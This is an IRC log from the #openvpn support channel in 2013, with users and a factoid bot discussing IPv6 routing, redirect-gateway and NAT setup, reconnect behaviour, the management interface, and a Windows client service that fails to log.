17:42 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:55 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 256 seconds]
18:04 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has joined #openvpn
18:22 -!- crus [~crusader@2001:44b8:319e:2900:25da:fce0:54b0:8881] has joined #openvpn
18:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:09 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Ping timeout: 268 seconds]
19:21 -!- gardar [~gardar@gardar.net] has joined #openvpn
20:10 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
20:11 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
20:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:49 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
20:53 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 245 seconds]
20:55 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
21:14 -!- eliasp [~quassel@134.3.243.224] has joined #openvpn
21:14 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 260 seconds]
21:15 -!- wiak [~wiak@nwgat.net] has quit [Disconnected by services]
21:15 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
21:16 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
21:16 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
22:01 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:21 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
23:21 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
23:22 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
--- Day changed Mon Sep 02 2013
00:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:47 < hyper_ch> hmmmm, is this possible:  http://images.sjau.ch/img/dd571005.png
00:47 < Eugene> Anything is possible at zombocom
00:47 < hyper_ch> Eugene: :)
00:49 < Aketzu> so you want to do ipv4-ipv6 translation without telling the clients?
00:49 < hyper_ch> Aketzu: I just know that ipv6 exists but never really had to do anything with it.... you can tell clients... but I've only got ipv4 connections here for clients
00:50 < Eugene> 2.3 will do v6 within the tunnel
00:51 < Eugene> Much the same way that the tun interface gets a v4 addr
00:51 < Eugene> Doesn't matter if the transport is 4 or 6
00:52 < hyper_ch> Eugene: hmmm.... now how would I go about that?
00:52 < hyper_ch> Eugene: hmmm.... now how would I go about that?
00:52 < Eugene> See the 6 family of options in the man page ;-)
00:53 < Eugene> All you need on the server is an IPv6 block routed to it
00:53 < Eugene> What sort of host? Linode?
00:53 < hyper_ch> routed to what?
00:53 < Eugene> One of the server's public v6 addrs
00:53 < Eugene> It's basically routing v6
00:54 < hyper_ch> you might need to explain that in a bit more detail :)
00:55 < hyper_ch> currently have my vpn server at kimsufi but I don't really need all that webspace provided and looking at edis... and they give ipv6 out... so I thought why not just give clients static ipv6s :)
00:55 < Eugene> Because v6 nat doesn't exist
00:55 < Eugene> And shouldn't exist
00:55 < Eugene> Just file a ticket asking them to route a block of v6(/64 subnet) to one of your on-link v6 addresses
00:55 < Eugene> Either they'll know wtf that is and do it, or you need a less-shitty host
00:56 < hyper_ch> but how would that affect openvpn? and each client having a static ip?
00:56 < Eugene> You hand out IPs from that subnet to your clients
00:56 < Aketzu> yeah... with separate v6-network it is about one config and everything just happens automatically
00:57 < Eugene> It's the same way things work in v4, but you can't do SNAT/MASQUERADE
00:57 < Aketzu> with anything else it's really painful
00:57 < Eugene> So there's no 10.x.x.x space involved; it's all publically-routable IPs
00:57 < hyper_ch> but it would still run through the vpn?
00:58 < Eugene> Yup.
00:58 < hyper_ch> ok, thx
00:58 < Eugene> This is how v4 was MEANT to work, but there just aren't enough IPs
00:58 < Eugene> So, NAT everywhere.
01:02 < hyper_ch> sorry, they provide a /112 subnet should that still work or do I need a /64 ?
01:03 < Eugene> If it's an "on-link" /112(meaning you can `ip -6 addr add $IPV6 dev eth0` on the server), no.
01:04 < Eugene> You need a subnet(/64 is the recommended minimum size) routed to one of your on-link addresses
01:04 < Eugene> Get a /56 if you can
01:04 < hyper_ch> I don't think I'll ever get a hang of all that routing things
01:07 < hyper_ch> I think I found a howto :)  http://freeaqingme.tweakblogs.net/blog/9237/openvpn-ipv6-with-ula-and-nat.html
01:07 <@vpnHelper> Title: OpenVPN, IPv6 with ULA and NAT - Everything's a draft - Tweakblogs - Tweakers (at freeaqingme.tweakblogs.net)
01:14 < Eugene> Please don't ever use v6 nat
01:14 < Eugene> I don't care if they've hacked it into recent kernels
01:14 < Eugene> Don't fucking do it
01:15 < Eugene> !blog
01:15 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
01:15 < Eugene> ;-)
01:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
01:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:36 < hyper_ch> Eugene: well, if you feel free to provide a helping hand ;)
01:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
01:58 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:59 < Eugene> I think I've outlined as much of as I can without charging you
02:13 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:24 -!- mattock_afk is now known as mattock
02:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-eonkkadptokedzur] has joined #openvpn
02:25 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
02:29 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:45 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
02:54 -!- cjryan [cryan@nat/redhat/x-tgjkzdrfqgnrmpcq] has joined #openvpn
02:55 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
02:56 < cjryan> !welcome
02:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:59 < cjryan> !route
02:59 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
02:59 <@vpnHelper> behind the server or client
02:59 < cjryan> !redirect
02:59 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:59 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
03:04 -!- cjryan [cryan@nat/redhat/x-tgjkzdrfqgnrmpcq] has left #openvpn []
03:07 -!- cjryan [cryan@nat/redhat/x-tgjkzdrfqgnrmpcq] has joined #openvpn
03:07 < cjryan> !tcpip
03:07 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
03:08 < cjryan> !def1
03:08 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
03:08 < cjryan> !ipforward
03:08 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
03:08 < cjryan> !linipforward
03:08 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
03:09 < cjryan> !nat
03:09 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
03:10 < cjryan> !linnat
03:10 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
03:10 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
03:12 -!- cjryan [cryan@nat/redhat/x-tgjkzdrfqgnrmpcq] has left #openvpn []
03:27 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:36 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:39 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
03:54 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
04:04 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-eonkkadptokedzur] has quit [Read error: Connection reset by peer]
04:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zjstaorjuouedhqq] has joined #openvpn
04:10 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
04:34 -!- bitg [bitg@gateway/shell/xzibition.com/x-dwcmmlzselmyllwr] has quit [Ping timeout: 260 seconds]
04:35 -!- bitg [bitg@gateway/shell/xzibition.com/x-llhtwprxgckihzze] has joined #openvpn
04:55 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zjstaorjuouedhqq] has quit [Read error: Connection reset by peer]
04:56 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-espncntvkjilliiq] has joined #openvpn
05:03 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
05:08 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
05:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
05:28 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
05:31 -!- JSharpe_ [~JSharpe@h88-150-184-42.host.redstation.co.uk] has joined #openvpn
05:33 -!- JSharpe [~JSharpe@176.227.206.250] has quit [Ping timeout: 264 seconds]
05:36 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:38 -!- JSharpe_ is now known as JSharpe
05:49 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 240 seconds]
05:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:03 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
06:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-espncntvkjilliiq] has quit [Ping timeout: 240 seconds]
06:13 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
06:29 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:29 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:29 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:33 -!- kubbing [~kubbing@smtp.mmstest.oskarmobil.cz] has joined #openvpn
06:37 -!- kubbing [~kubbing@smtp.mmstest.oskarmobil.cz] has quit [Read error: Connection reset by peer]
06:58 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
06:59 < Volkswagner> !clientlan
06:59 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
06:59 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
07:00 < Volkswagner> !ipforward
07:00 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
07:00 -!- kubbing [~kubbing@gprs14.vodafone.cz] has joined #openvpn
07:01 < Volkswagner> !linipforward
07:01 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
07:12 < Volkswagner> !ccd
07:12 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
07:13 < Volkswagner> !iroute
07:13 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
07:28 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:30 -!- kubbing [~kubbing@gprs14.vodafone.cz] has quit [Remote host closed the connection]
07:37 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has quit [Excess Flood]
07:38 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has joined #openvpn
07:41 -!- sandeepr_ltp [~sandeepr_@15.211.201.83] has joined #openvpn
07:41 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:53 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
08:14 -!- eval-_ is now known as eval-
08:22 < haasn> Is it possible to have openvpn automatically attempt to reconnect whenever it dies, instead of just stopping?
08:23 -!- JSharpe [~JSharpe@h88-150-184-42.host.redstation.co.uk] has quit [Ping timeout: 240 seconds]
08:24 <@plaisthos>  openvpn should not die
08:25 < lupine> well, there are two schools of thought on that
08:25 <@plaisthos> if it crashes that is a bug
08:25 < lupine> anyway, I don't know if it has built-in support for restarting itself on death, but there are a variety of standard tools that'll do it for you
08:25 <@plaisthos> it has no built in support for that
08:26 < Thermi> If it "really dies" the process itself will die, so it wouldn't be able to restart itself.
08:27 < lupine> Thermi, the usual idiom is to fork, make the parent a watcher, and do all the buggy stuff in the child
08:27 < Thermi> You can, however, try to make your init daemon take care of it
08:27 < lupine> the parent can restart the child whenever it dies
08:27 < Thermi> lupine: I know. But as far as I know, openvpn has a single-process model
08:27 < lupine> seems that way, aye
08:27 < Thermi> so it doesn't fork.
08:27 < Thermi> But I guess it would be a quite nice improvement to it
08:28 < lupine> which is no bad thing. means you can use anything with it
08:28 < lupine> I forget what we use, offhand
08:28 < Thermi> and having a single process (not just one thread) for multiple different connections would be nice, too.
08:28 < haasn> plaisthos: okay, I'll enable logging and wait for it to happen again
08:28 < lupine> possibly daemontools
08:29 < lupine> but yes, if you're getting segfaults or whatever, the developers need to know,
08:29 < haasn> to be precise, openvpn dies whenever my connection drops out (for however long)
08:29 < haasn> I haven't touched any of the options like --ping-retry or --ping-exit
08:32 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
08:33 < rob0> The problem with respawning a bad config a la daemontools is that the config is bad.
08:34 < rob0> I've read that as the definition of insanity: to try the same thing again, expecting different results. :)
08:37 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has left #openvpn ["Leaving"]
08:38 < lupine> mm, you've got to verify that the config is good before you daemonise it
08:49 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:51 -!- e_ [~duckel@serv01.io-consulting.net] has joined #openvpn
08:52 -!- e_ [~duckel@serv01.io-consulting.net] has left #openvpn []
08:56 < eval-> The server pushes 'ping' and 'ping-restart', yet I regularly have extended time periods (hours) where I cannot ping the other side of the tunnel (despite apparent renegotiations? TLS: soft reset, VERIFY OK, Encrypt/Decrypt), but this can be fixed by a kill -HUP `pgrep openvpn`
08:56 < eval-> Ideas?
08:59 < eval-> Should I 'persist-tun no' ? (not eager to have the up/down scripts run each time... though I'm not sure the ping-restart triggered restart ever happens..)  I could just cronjob the HUP sig, but that feels ugly
09:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:14 < rob0> lupine, but a good config won't necessarily die on failure to connect. Maybe --resolv-retry? We'd have to see why openvpn was exiting.
09:23 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:23 -!- HyperGlide [~HyperGlid@222.211.124.117] has joined #openvpn
09:28 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
09:28 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:44 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
09:45 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
09:46 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:50 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 264 seconds]
10:08 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:31 <+pekster> eval-: When both sides use --ping and --ping-restart, you know the TLS keepalive packets are making it so long as a timeout isn't reported in the logs
10:32 < Azrael_-> is there a windows openvpn monitor to monitor linux openvpn-installations?
10:33 < eval-> pekster: Can the TLS keepalive packets make it and I somehow lose access to the other side?  (the .1 router) .. if so, how/why?  bringing up and down the tun0 seems to fix it in a way that the reneg/ping doesn't?
10:33 <+pekster> Azrael_-: putty? Or write yourself a dynamic webpage that shows you
10:33 < Azrael_-> just started with a .net-client
10:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:34 <+pekster> eval-: When you have the issue you describe, how much diagnostic have you done? Do you see the ping (the ICMP ping across your tunnel) leave the tun interface on the sender? Then the encapsulating packet leave the VPN client? then the VPN server receive it? then the receipt of the packet on the server's tun? etc... "follow the packet"
10:35 <+pekster> Azrael_-: OpenVPN is a C-application. If you want a "frontend" to openvpn that doesn't exist today you'll have to write it yourself
10:35 <+pekster> There's the --management interface (see the bot's !management for details) that you can use as an API of sorts
10:35 < Azrael_-> k, started with it. just wanted to be shure i didn't reinvent the wheel
10:35 <+pekster> Plus there's the official plugin API as well in the sources
10:36 <+pekster> (though remember that openvpn is GPLv2, if that impacts how you design your solution with any direct linking)
10:36 < Azrael_-> didn't even think about licensing
10:36 < Azrael_-> (yet)
10:36 < Eugene> Only matters if you publiclly release your derivative software
10:36 <+pekster> If you use the management interface, there would be no direct linking with openvpn code; if you did #include <openvpn/plugin.h> or whatever, that would be linking
10:37 <+pekster> And yea, it only matters if you reelase it openly, or sell it
10:37 < Azrael_-> k, as i only use the management-interface i don't have to care about it
10:41 < eval-> pekster: Ok. Well, I have no access to the VPN server (it is only a problem that happens with someone else's server, not mine) but I can play follow the packet as far as I can with tcpdump next time it happens and report back =)
10:42 <+pekster> Sure, although without help from the other side there's obviously only so much you can do
10:43 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
10:50 -!- Thermi [~Thermi@unaffiliated/thermi] has left #openvpn []
10:50 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
10:53 -!- defswork [~andy@141.0.50.105] has joined #openvpn
10:54 -!- JRocha [~JRocha@200.189.189.47] has quit [Remote host closed the connection]
10:56 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
11:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:22 -!- HyperGlide [~HyperGlid@222.211.124.117] has quit [Remote host closed the connection]
11:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
11:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
11:37 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:38 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 245 seconds]
11:41 -!- HyperGlide [~HyperGlid@222.211.124.117] has joined #openvpn
11:42 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
11:42 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:44 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:00 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
12:00 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
12:12 -!- HyperGlide [~HyperGlid@222.211.124.117] has quit [Remote host closed the connection]
12:15 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has joined #openvpn
12:15 < giorgiodinapoli> hey guys i have 1 ethernet interface, and i want all traffic to be routed into the openvpn interface and backwards. how can i achive this?
12:16 <+pekster> It sounds like you want:
12:16 <+pekster> !redirect
12:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:16 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:17 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has joined #openvpn
12:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:28 < giorgiodinapoli> thx!
12:28 < giorgiodinapoli> i will try it
12:30 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has joined #openvpn
12:30 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
12:30 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
12:35 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has quit [Read error: Operation timed out]
12:49 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has joined #openvpn
13:03 < giorgiodinapoli> !def1
13:03 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:17 -!- axelm7 [~axelm7@186.135.59.79] has joined #openvpn
13:20 -!- [ilin] [~ilin@unaffiliated/ilin] has left #openvpn []
13:37 -!- sandeepr_ltp [~sandeepr_@15.211.201.83] has quit [Quit: Leaving]
13:44 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
13:47 -!- giorgiodinapoli [~giorgiodi@146-52-162-17-dynip.superkabel.de] has quit [Ping timeout: 245 seconds]
14:01 -!- p3rror [~mezgani@41.140.194.219] has joined #openvpn
14:15 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has quit [Ping timeout: 256 seconds]
14:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:34 -!- JSharpe [~JSharpe@h88-150-184-50.host.redstation.co.uk] has joined #openvpn
14:53 < axelm7> hi guys, I'm trying to configure OpenVPN 2.3.2 on Windows Server 2008 to run as a service. The connection works fine if I start it from openvpn-gui, but does not start automatically if I start the openvpn service
14:54 < axelm7> I am talking about running a openvpn client as a service
14:55 < Azrael_-> axelm7: did you have a look into the logs?
14:55 < Azrael_-> what user-account are you using for it?
14:56 < axelm7> I was looking at c:\program files\openvpn\logs and none of the files have a change in the timstamp when I restart the service
14:57 < axelm7> the event viewer has an event indicating that the service has started
14:57 < axelm7> abd the service manager says it's running
14:58 < Azrael_-> if you start the gui you see some logging. you should be able to locate the log-file it is dupmed to
14:58 < axelm7> it works fine if I use the gui
14:58 < axelm7> but I want it to auto connect when the service starts
14:58 < Azrael_-> the service should log to the same location
14:58 < Azrael_-> shure
14:59 -!- xTz_ [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
14:59 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:00 < axelm7> it should log to the same location but it does not
15:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
15:01 < axelm7> this is windows server 2008 R2 which comes in 64 bit only
15:01 < Azrael_-> what user-account are you using for it?
15:01 < axelm7> I don' t know if the makes a difference or not
15:01 < axelm7> LocalSystem
15:02 < Azrael_-> modify the priviledges of the openvpn folders/files to allow write-access for everybody, perhaps it is a security-problem
15:02 < Azrael_-> i'm just guessing
15:02 < axelm7> I'll give it a try
15:04 < axelm7> LocalSystem already has recursive full control
15:04 < Azrael_-> yeah, thought so but it's really strange
15:04 < Azrael_-> wait a second, will check a similar system to see where it logs to
15:04 < axelm7> I'll try to run the service logging in as my user account
15:07 < Azrael_-> i've run it easily on winxp and win7 so far without any problems
15:07 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:09 < axelm7> I changed the service configuration so it logs in using my administrator account and the log files don't change at all
15:09 < axelm7> I see openvpnserv.exe in the process list
15:09 < Azrael_-> c:\program files\openvpn\log\<yourcommonname>.log <-- are we talking about this log-file?
15:10 < Azrael_-> start up process explorer and see what file-handles are open
15:10 < axelm7> yup, that file. the same one that is updated when the gui runs
15:13 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
15:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
15:15 < Azrael_-> any luck?
15:16 < axelm7> tbh I don't remember where to look for the handle list
15:16 < axelm7> haven't used procexp in years
15:16 < Azrael_-> just open procexp, select the process in the list and on the bottom are all handles, some are socket, some are files
15:17 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:17 < axelm7> lol, bottom pane is not enabled by default
15:17 < Azrael_-> ah, k
15:17 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
15:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:18 < axelm7> there is only one file handle opened and it points to the current directory which is c:\windows\system32
15:18 < Azrael_-> strange
15:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
15:18 < axelm7> I'll change the logon account back to localsystem
15:19 < Azrael_-> anything in the windows-logs when it's starting up?
15:19 <+pekster> !logfile
15:19 < Azrael_-> does it end automatically?
